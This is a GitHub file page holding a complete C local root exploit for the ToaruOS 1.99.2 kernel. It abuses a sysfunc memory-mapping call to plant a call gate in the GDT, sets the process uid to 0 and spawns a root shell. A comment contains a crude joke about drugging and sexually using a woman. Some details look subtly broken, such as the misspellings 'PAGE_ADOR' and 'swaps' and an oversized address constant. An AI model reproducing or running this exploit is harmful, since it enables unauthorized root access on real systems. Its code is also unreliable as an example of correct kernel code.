

master

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kowasuos / exploits / kowasu-sysfunc-strikes-back.c



mehsauce 'kay Kay ...

History

1 contributor

240 lines (213 sloc) 6.85 KB

```

1  /*
2   * The Mickey Mouse Hacking Squadron proudly presents
3   *
4   * ToaruOS 1.99.2 sysfunc local kernel exploit
5   *
6   * PART III: THE MMU STRIKES BACK
7   * Starring
8   *
9   * Kay 'What the MMU?' Lange
10  * Mickey Mouse
11  *
12  *
13  *      .-""-.
14  *      /  .  \
15  *      \      /
16  *      .-""-.;.-""-<
17  *      /  _;  / ) .|
18  *      \ ; / ' ' ' \
19  *      ' . | ; - _ _ |
20  *      \ ' _ _ / / //
21  *      , , / - _ _ ' \ ' _ _ ' , , ;
22  *      \ \ / / | o \ _ ' _ _; / / -
23  *      ; ; , / / | _ _ ' _ _; ( / / -
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26  *      \ . \ | , /
27  *      ' . ' ; ' , /
28  *      ( _ ' ; - ; ' _ '
29  *      ' // ' ' ||
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32  *      /      \ /      \
33  *      \      / \      /
34  *      ' _ _ _ _ _ ' _ _ _ _ _
35  *
36  * local@lived ~$ gcc -Wall kowasu-sysfunc-strikes-back.c -o meh
37  * local@lived ~$ whoami
38  * local
39  * local@lived ~$ ./meh
40  * 0@lived /home/local# whoami
41  * root
42  *
43  * Tested on VMWare only. If this crashes ToaruOS, well, so does ToaruOS.
44  */
45 #include <assert.h>
46 #include <stdio.h>
47 #include <unistd.h>
48 #include <inttypes.h>
49 #include <string.h>
50 #include <sys/sysfunc.h>
51 #include <kernel/process.h>
52 #include <kernel/spinlock.h>
53 #include <kernel/arch/x86_64/pml.h>
54
55 #define ENTRY_MASK 0x1FF
56 #define PAGE_SHIFT 12
57 #define CANONICAL_MASK 0xFFFFFFFFFULL
58 #define HIGH_MAP_REGION 0xFFFFFFFF800000000ULL
59
60 #define PAGE_ALIGN(x) ((x) & ~0xFFF)
61 #define PAGE_ADDR(x) (((x) & CANONICAL_MASK) >> PAGE_SHIFT)
62 #define PML4_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 27].bits.page) << PAGE_SHIFT)
63 #define PDP_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 18].bits.page) << PAGE_SHIFT)
64 #define PD_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 9].bits.page) << PAGE_SHIFT)
65
66 struct gdt
67 {
68     uint16_t limit;
69     uint64_t base;
70 } __attribute__((packed));
71
72 typedef struct {
73     uint32_t address;
74     uint16_t selector;
75 } __attribute__((packed)) lcall_arg_t;
76
77 /* We access the GDTR from both user and kernel, so we keep it global. */
78 struct gdt g;

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79
80 /* We also access the TSS descriptor and backup from user and kernel. */
81 uint8_t *tss;
82 uint8_t tss_old[16];
83
84 static inline uint16_t
85 make_selector(int index, int ti, int rpl)
86 {
87     return index << 3 | ti << 2 | rpl;
88 }
89
90 static inline void
91 make_callgate(void *p, uint16_t selector, uint64_t offset, int dpl)
92 {
93     ((uint16_t *)p)[0] = offset;
94     ((uint16_t *)p)[1] = selector;
95     ((uint8_t *)p)[4] = 0;
96     ((uint8_t *)p)[5] = 0x80 | dpl << 5 | 12;
97     ((uint16_t *)p)[3] = offset >> 16;
98     ((uint32_t *)p)[2] = offset >> 32;
99     ((uint32_t *)p)[3] = 0;
100 }
101
102 static inline void *
103 mmu_map_from_physical(uintptr_t frameaddress)
104 {
105     return (void *)(frameaddress | HIGH_MAP_REGION);
106 }
107
108 static inline union PML *
109 mmu_get_page(uint64_t address)
110 {
111     union PML *pml;
112
113     /* We take shortcuts: if the first GDT page were to suddenly have
114      * disappeared from the tables we're fucked like a skank on roofies
115      * during prom night anyway.
116      */
117     pml = this_core->current_pml;
118     pml = mmu_map_from_physical(PML4_PAGE(pml, address));
119     pml = mmu_map_from_physical(PDP_PAGE(pml, address));
120     pml = mmu_map_from_physical(PD_PAGE(pml, address));
121     return (union PML *)&pml[PAGE_ADOR(address) & ENTRY_MASK];
122 }
123
124 /* Safety play. Modern times are so wordy. I really really really
125  * wanna push- and popa.
126  */
127 extern void callgate(void);
128 asm (
129     ".global callgate\n"
130     "callgate:\n"
131     "swaps\n"
132     "push %r15\n"
133     "push %r14\n"
134     "push %r13\n"
135     "push %r12\n"
136     "push %r11\n"
137     "push %r10\n"
138     "push %r9\n"
139     "push %r8\n"
140     "push %rdi\n"
141     "push %rsi\n"
142     "push %rdx\n"
143     "push %rcx\n"
144     "push %rbx\n"
145     "push %rax\n"
146     "call callgate_handler\n"
147     "pop %rax\n"
148     "pop %rbx\n"
149     "pop %rcx\n"
150     "pop %rdx\n"
151     "pop %rsi\n"
152     "pop %rdi\n"
153     "pop %r8\n"
154     "pop %r9\n"
155     "pop %r10\n"
156     "pop %r11\n"
157     "pop %r12\n"
158     "pop %r13\n"
159     "pop %r14\n"
160     "pop %r15\n"
161     "swaps\n"
162     "lretq\n"
163 );
164
165 /* CPL0 code. */
166 void callgate_handler(void)
167 {
168     union PML *gdt_page;
169
170     spin_lock(this_core->current_process->image.lock);
171     this_core->current_process->user = 0;
172     this_core->current_process->real_user = 0;
173
174     /* Get the GDT base page and give it back to the kernel. This way the
175      * process exit routine will not free it once we exit.
176      */

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177     gdt_page = mmu_get_page(PAGE_ALIGN(g.base));
178     gdt_page->bits.user = 0;
179
180     /* Invalidate the TLB entry for the first GDT page. */
181     asm volatile ("invlpg (%0)":"r"(PAGE_ALIGN(g.base)):"memory");
182
183     /* Restore the GDT TSS descriptor while we're at it. */
184     for (int i = 0; i < 16; i++)
185         tss[i] = tss_old[i];
186
187     spin_unlock(this_core->current_process->image.lock);
188 }
189
190 int main(void)
191 {
192     char *args[2];
193
194     /* Get the GDTR so we can target the base descriptor table. */
195     asm volatile ("sgdt %0":"=m"(g)::"memory");
196
197     /* Get the TSS descriptor, as we can clobber it with a callgate. TR
198      * caches the descriptor value, so ruining it does not really matter
199      * much, and we'll restore it when we're done.
200      */
201     tss = (void *) (g.base + 40);
202
203     /* Call TOARU_SYS_FUNC_MMAP to remap the lower region GDT.
204      *
205      * This was initialized in the lower ranges during multiboot, and as a
206      * result the higher page directories are not owned by the kernel but
207      * by the user. Next mmu_frame_allocate will conveniently set the user
208      * bit to 1 for us.
209      */
210     args[0] = (char *)PAGE_ALIGN(g.base);
211     args[1] = (char *)4096;
212     if (sysfunc(TOARU_SYS_FUNC_MMAP, args) < 0) {
213         perror("sysfunc()");
214         exit(EXIT_FAILURE);
215     }
216
217     /* Make a copy of the TSS descriptor for restoration later on. */
218     memcpy(tss_old, tss, 16);
219
220     /* Make a CPL3 -> CPL0 callgate. Note that the kernel cs descriptor is
221      * at GDT index 1.
222      */
223     make_callgate(tss, make_selector(1, 0, 0), (uint64_t)callgate, 3);
224
225     /* Perform a far call to the callgate we set up at GDT index 5. We
226      * call a callgate so a 32-bit call destination is fine, as the
227      * destination comes from the gate descriptor anyway.
228      */
229     lcall_arg_t lca = { 0, make_selector(5, 0, 3) };
230     asm volatile ("lcall *%0":"=m"(lca));
231
232     /* This is my boom schtick! */
233     args[0] = "/bin/sh";
234     args[1] = NULL;
235     execve("/bin/sh", args, NULL);
236
237     /* Well, crud. */
238     perror("execve()");
239     exit(EXIT_FAILURE);
240 }

```